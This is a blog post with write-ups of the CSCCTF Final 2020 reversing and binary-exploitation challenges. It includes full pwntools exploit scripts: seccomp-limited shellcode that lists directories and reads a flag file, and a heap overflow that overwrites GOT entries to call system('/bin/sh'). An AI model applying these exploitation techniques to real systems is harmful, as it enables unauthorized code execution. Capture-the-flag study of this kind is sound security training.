Hello I am Arsalan. Offensive Security Engineer, I blog about Cyber security, CTF writeup, Programming, Blockchain and more about tech. born and raised in indonesia, currently living in indonesia

Posts   About

CSCCTF FINAL 2020

CSCCTF FINAL 2020

My team TNT got 2nd place out of 10 finalists on the final, in this post I will cover Reverse engineering and Binary Exploitation challenge

babysc

Description

"(`Д´)

P.S. flag is in /home/(chall name)/(unknown dir)/flag.txt" 
Author: tempestuous
nc 139.59.97.212 23339

Solution

Main function:

this is a shellcode challenge, but we have some restriction according to the seccomp setup, we can only use a few syscalls:

since we have to guest the folder file, we can use getdents64 to listing all the file and directory, after we found the right folder name we can use openat to open the flag.txt then read and write the flag.

first, we use getdents64 to list all the files and directories inside

#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="debug",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/cscctf2020-final/pwn/babysc/babysc")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = ["* main+180"]
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    attach(r)

    a = asm(shellcraft.openat(-2, '/home/babysc/').rstrip())
    a += asm('''
            mov rdi,rax
            xor rdx,rdx
            xor rax,rax
            mov dx,0x3210
            lea rsi,[rsp]
            mov al,217
            syscall

            
            mov rax, 1
            mov rdi, 1
            mov rsi, rsp
            mov rdx, 500
            syscall
    ''')

    r.sendline(a)
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("139.59.97.212", 23339)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

now we can just read and write the flag

#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="debug",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/cscctf2020-final/pwn/babysc/babysc")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = ["* main+180"]
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    attach(r)

    a = asm(shellcraft.openat(-2, '/home/babysc/55ffa688e1003d7020b4b2b0e84b85fc/flag.txt').rstrip())
    a += asm('''            
            
            mov rdi, rax
            lea rsi, [rsp]
            mov rdx, 0x1000
            mov rax, 0
            syscall
            mov rdi, 1
            lea rsi, [rsp]
            mov rdx, rax
            mov rax,1
            syscall
    ''')
    r.sendline(a)
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("139.59.97.212", 23339)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

FLAG: CSCCTF{on3_b4bySteP_At_a_t1mE}

linkedbin

Description

≧ω≦ Author: tempestuous nc 128.199.211.118 23338

Solution

I found a bug, in the edit function which can be used to overwrite the next pointer. let’s take a look at the insert function

as you can see, we can input data up to 63 bytes, when on the edit function we can input up to 80 byte

with this bug, we can overwrite the next pointer to free@got then we can leak libc by view the free@plt address as ID, after that we can overwrite the got address using edit function, in order to use system function, we can overwrite the atoi@got since we can control the %rdi register for this function, this is my full exploit to solve this challenge:

#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
    generated by skeloski GEF
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/cscctf2020-final/pwn/linkedbin/linkedbin")
elf = ELF(TARGET)
libc = ELF("./libc6_2.27-3ubuntu1.2_amd64.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def attach(r):
    if LOCAL:
        bkps = ["* findnode"]
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def insert(ID, content):
    r.sendlineafter(">>","1")
    r.sendlineafter(":",str(ID))
    r.sendlineafter("Content:",content)

def edit(ID, new):
    r.sendlineafter(">>","2")
    r.sendlineafter(":",str(ID))
    r.sendafter(":",new)

def view(ID):
    r.sendlineafter(">>","3")
    r.sendlineafter(":",str(ID))

def remove(ID):
    r.sendlineafter(">>","4")
    r.sendlineafter("ID:",str(ID))

def exploit(r):
    attach(r)
    insert("/bin/sh",  "A"* 62)
    insert(1,  "B"* 62)
    insert(2,  "C"* 62)
    insert(3,  "D"* 62)
    insert(4,  "E"* 62)

    # 0x4f365 execve("/bin/sh", rsp+0x40, environ)
    # constraints:
    # rsp & 0xf == 0
    # rcx == NULL

    # 0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
    # constraints:
    # [rsp+0x40] == NULL

    # 0x10a45c execve("/bin/sh", rsp+0x70, environ)
    # constraints:
    # [rsp+0x70] == NULL

    edit(2, "F" * (64 + 8) + p64(elf.got['free']))
    r.sendlineafter(">>","3")
    r.sendlineafter(":",str(0x400756))

    r.recvuntil("Content: ")
    leak = u64(r.recv(8).split()[0].ljust(8, "\x00"))
    libc_base = leak - libc.sym['puts']
    system = libc_base + libc.sym['system']
    binsh = libc_base + libc.search("/bin/sh").next()
    puts = libc_base + libc.sym['puts']

    one = libc_base + 0x10a45c

    log.info("leak: " + hex(leak))
    log.info("system: " + hex(system))

    edit(str(0x400756), p64(puts) + p64(0xdeadbeef) + p64(libc_base + libc.sym['printf']) + p64(0xdeadbeef) + p64(libc_base + libc.sym['read']) + p64(libc_base + libc.sym['fgets']) + p64(libc_base + libc.sym['calloc']) + p64(libc_base + libc.sym['getchar']) + p64(libc_base + libc.sym['setvbuf']) + p64(system) )
    r.sendline("/bin/sh")

    # edit(2, "F" * (64 + 8) + p64(0x602028))
    # r.sendlineafter(">>","3")
    # r.sendlineafter(":",str(0x00400776))

    # r.recvuntil("Content: ")
    # leak = u64(r.recv(8).split()[0].ljust(8, "\x00"))
    # libc_base = leak - libc.sym['printf']
    # system = libc_base + libc.sym['system']
    # binsh = libc_base + libc.search("/bin/sh").next()


    # log.info("leak: " + hex(leak))
    # log.info("system: " + hex(system))
    # log.info("/bin/sh: " + hex(binsh))

    # remove(0)
    # remove(0)
    # remove(4)

    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("128.199.211.118", 23338)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

FLAG: CSCCTF{sh0uldv3_v3rified_Links_FirsT}

readme

Description

what's my final value?
Author: avltree

Solution

in order to solve this challenge, we can just cross-compiling the assembly code using aarch64-linux-gnu-gcc-8 then run the compiled binary using qemu. but first of all, we have to clean the code here is the fixed code

.globl    main
.p2align    2

main:                           
    sub    sp, sp, #64             
    stp    x29, x30, [sp, #48]     
    add    x29, sp, #48            
    stur    w0, [x29, #-4]
    stur    x1, [x29, #-16]
    mov    x8, #100
    str    x8, [sp, #24]
    str    wzr, [sp, #20]

LBB0_1:
    ldr    w8, [sp, #20]
    cmp    w8, #1337
    b.ge    LBB0_28
    ldr    w8, [sp, #20]
    mov    w9, #3
    sdiv    w10, w8, w9
    mul    w9, w10, w9
    subs    w8, w8, w9
    cbnz    w8, LBB0_4
    ldr    x8, [sp, #24]
    add    x8, x8, #1000
    str    x8, [sp, #24]
    b    LBB0_26

LBB0_4:
    ldr    w8, [sp, #20]
    mov    w9, #4
    sdiv    w10, w8, w9
    mul    w9, w10, w9
    subs    w8, w8, w9
    cbnz    w8, LBB0_6
    ldr    x8, [sp, #24]
    add    x8, x8, #100
    str    x8, [sp, #24]
    b    LBB0_25

LBB0_6:
    ldr    w8, [sp, #20]
    mov    w9, #5
    sdiv    w10, w8, w9
    mul    w9, w10, w9
    subs    w8, w8, w9
    cbnz    w8, LBB0_8
    ldr    x8, [sp, #24]
    add    x8, x8, #10
    str    x8, [sp, #24]
    b    LBB0_24

LBB0_8:
    ldr    w8, [sp, #20]
    mov    w9, #6
    sdiv    w10, w8, w9
    mul    w9, w10, w9
    subs    w8, w8, w9
    cbnz    w8, LBB0_10
    ldr    x8, [sp, #24]
    add    x8, x8, #1
    str    x8, [sp, #24]
    b    LBB0_23

LBB0_10:
    ldr    w8, [sp, #20]
    mov    w9, #7
    sdiv    w10, w8, w9
    mul    w9, w10, w9
    subs    w8, w8, w9
    cbnz    w8, LBB0_12
    ldr    x8, [sp, #24]
    add    x8, x8, #2000
    str    x8, [sp, #24]
    b    LBB0_22

LBB0_12:
    ldr    w8, [sp, #20]
    mov    w9, #8
    sdiv    w10, w8, w9
    mul    w9, w10, w9
    subs    w8, w8, w9
    cbnz    w8, LBB0_14
    ldr    x8, [sp, #24]
    add    x8, x8, #200
    str    x8, [sp, #24]
    b    LBB0_21

LBB0_14:
    ldr    w8, [sp, #20]
    mov    w9, #9
    sdiv    w10, w8, w9
    mul    w9, w10, w9
    subs    w8, w8, w9
    cbnz    w8, LBB0_16
    ldr    x8, [sp, #24]
    add    x8, x8, #20
    str    x8, [sp, #24]
    b    LBB0_20

LBB0_16:
    ldr    w8, [sp, #20]
    mov    w9, #10
    sdiv    w10, w8, w9
    mul    w9, w10, w9
    subs    w8, w8, w9
    cbnz    w8, LBB0_18
    ldr    x8, [sp, #24]
    add    x8, x8, #2
    str    x8, [sp, #24]
    b    LBB0_19

LBB0_18:
    ldr    x8, [sp, #24]
    add    x8, x8, #1337
    str    x8, [sp, #24]

LBB0_19:
LBB0_20:
LBB0_21:
LBB0_22:
LBB0_23:
LBB0_24:
LBB0_25:
LBB0_26:
    ldr    w8, [sp, #20]
    add    w8, w8, #1
    str    w8, [sp, #20]
    b    LBB0_1

LBB0_28:
        ldr    x8, [sp, #24]
        mov    x9, sp
        str    x8, [x9]
        
        mov    w10, #0
        mov    x0, x10
        ldp    x29, x30, [sp, #48]
        add    sp, sp, #64
        ret

now, we can compile the asm code and run the binary on gdb-multiarch then set up breakpoint on LBB0_28 check %x8 after str x8, [x9] instruction

FLAG: CSCCTF{1233423}

breaker

Description

Where the exactly indexed flag? please let me know.
Author: redspr

Solution

I solved this challenge manually, setting up break point on main+309 then run the binary with our input for example A or 41h in hexa

as you can see, our input is stored on %rbx, and the %rax value (0x77) is the right input, so I add manually the right input one by one 48 times lol

#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
    generated by skeloski GEF
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/cscctf2020-final/rev/breaker")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = ["* main+309"]
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    attach(r)
    a = 'w8oipn'
    a += chr(0x33)
    a += chr(0x48)
    a += chr(0x4d)
    a += chr(0x4d)
    a += chr(0x63)
    a += chr(0x71)
    a += chr(0x23)
    a += chr(0x4a)
    a += chr(0x77)
    a += chr(0x75)
    a += chr(0x76)
    a += chr(0x23)
    a += chr(0x39)
    a += chr(0x4e)
    a += chr(0x40)
    a += chr(0x68)
    a += chr(0x69)
    a += chr(0x69)
    a += chr(0x77)
    a += chr(0x39)
    a += chr(0x23)
    a += chr(0x6e)
    a += chr(0x6e)
    a += chr(0x4a)
    a += chr(0x2a)
    a += chr(0x55)
    a += chr(0x2a)
    a += chr(0x63)
    a += chr(0x6a)
    a += chr(0x6a)
    a += chr(0x69)
    a += chr(0x69)
    a += chr(0x29)
    a += chr(0x39)
    a += chr(0x6c)
    a += chr(0x2b)
    a += chr(0x26)
    a += chr(0x23)
    a += chr(0x4a)
    a += chr(0x6d)
    a += chr(0x77)
    a += chr(0x77)
    print len(a)
    for i in range(len(a)):
        r.sendline(a[i])
    r.sendline("A")
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("127.0.0.1", 1337)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

FLAG: CSCCTF{wh4t_th3_fun_m0m3nt_brutef0rc1ng_w1th_SubPr0cesS}

cr4shed

Description

The application keep failing, I wonder why
Author: avltree

Solution

unpack the .ipa file using unzip then go to Payload/AVLBankFramework.framework/, now open AVLBankFramework binary on ida

FLAG: CSCCTF{G00dR3v3rs3rC4nM4k34L0T0fM0n3Y}